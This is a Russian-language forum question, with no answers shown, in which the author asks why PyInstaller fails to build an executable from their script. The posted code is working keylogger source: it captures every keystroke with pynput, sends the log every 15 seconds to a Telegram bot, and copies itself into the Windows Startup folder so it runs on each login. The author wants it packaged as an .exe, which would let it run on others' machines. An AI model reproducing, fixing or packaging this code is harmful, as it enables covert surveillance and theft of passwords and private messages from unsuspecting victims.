Ошибка pyinstaller "Failed to execute script main"

Написал такой скрипт, всё работает отлично. Но как только конвертируешь в .exe с помощью pyinstaller выдаёт ошибку которая указана в заголовке. Перерыл весь интернет, так и не нашёл решение. Пробовал всё: от переустановки pyinstaller до полной перезаписи и проверки кода. Код:

import pynput
import threading
import telebot
import os
import shutil
import subprocess
import re


class Keylogger:
    def __init__(self):
        self.log = 'Прослушка начата...'
        self.interval = 15
        self.token = 'Токен'
        self.chat_id = чат-айди
        self.bot = telebot.TeleBot(self.token)

    def append_to_log(self, string):
        self.log += string

    def process_key_press(self, key):
        global log
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = ' '
            else:
                current_key = ' ' + str(key) + ' '
        self.append_to_log(current_key)

    def report(self):
        if self.log != '':
            self.bot.send_message(self.chat_id, self.log)
        self.log = ''
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()


class Autoload:
    def __init__(self):
        self.user = os.getlogin()
        self.path_src = os.getcwd() + '\main.exe'
        self.path_dst = 'C:\\Users\\' + self.user + '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\main.exe'
        if os.path.exists(self.path_dst) == False:
            shutil.copyfile(self.path_src, self.path_dst, follow_symlinks=True)
        my_keylogger = Keylogger()
        my_keylogger.start()


auto = Autoload()

Повторюсь, код рабочий на все сто процентов. Токен и чат-айди скрыл по понятным причинам. Буду рад любым предложениям.


Ответы (0 шт):